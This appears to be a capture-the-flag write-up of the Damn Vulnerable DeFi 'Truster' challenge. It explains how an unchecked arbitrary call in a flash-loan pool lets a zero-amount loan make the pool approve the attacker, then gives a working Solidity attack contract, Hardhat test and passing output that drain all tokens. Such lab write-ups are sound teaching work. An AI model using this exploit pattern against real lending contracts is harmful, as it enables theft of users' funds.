Damn Vulnerable DeFi 挑战记录 #3 - Truster

Challenge #3 - Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don't worry, you might be able to take them all from the pool. In a single transaction.

OpenZeppelin文档

目标: 取走闪电贷池中的100万个DVT token

    after(async function () {
        /** SUCCESS CONDITIONS */

        // Attacker has taken all tokens from the pool
        expect(await this.token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL);
        expect(await this.token.balanceOf(this.pool.address)).to.equal("0");
    });

代码解析:

TrusterLenderPool.sol 闪电贷池合约flashLoan 函数

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    ) external nonReentrant {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
  • borrowAmount - 借款金额, borrower - 借款地址

  • target - Call目标地址, data - Call的内容

  • 常规闪电贷逻辑, 被nonReentrant保护


攻击思路:

flashLoan 函数中的闪电贷逻辑本意为让我们通过target.functionCall(data)执行闪电贷套利操作并还款.

target可以为任意地址, data可以写入任意内容. 如果我们借款0eth,就不需要在 target.functionCall(data)还款,因此可以用其执行任意操作.

为了取走闪电贷池中的所有DVT token,直接让闪电贷池合约通过target.functionCall(data) 完成对攻击者地址的DVT token approve授权,进而转走所有token

代码示例:

interface ITrusterLenderPool {
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    ) external;
}

contract TrusterAttack {
    ITrusterLenderPool pool;
    IERC20 token;
    uint256 poolBalance;

    constructor(address _pool, address _token) {
        pool = ITrusterLenderPool(_pool);
        token = IERC20(_token);
        poolBalance = token.balanceOf(address(pool));
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            poolBalance
        );
        pool.flashLoan(0, address(this), address(token), data);
        token.transferFrom(address(pool), msg.sender, poolBalance);
    }
}
    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE  */
        const AttackFactory = await ethers.getContractFactory("TrusterAttack", attacker);
        // Run Exploit constructor.
        await AttackFactory.deploy(this.pool.address, this.token.address);
    });

运行通过

❯ yarn run truster
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/truster/truster.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/truster/truster.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully


  [Challenge] Truster
    ✓ Exploit (700ms)


  1 passing (2s)

Done in 4.84s.

**Twitter: @0xRunstar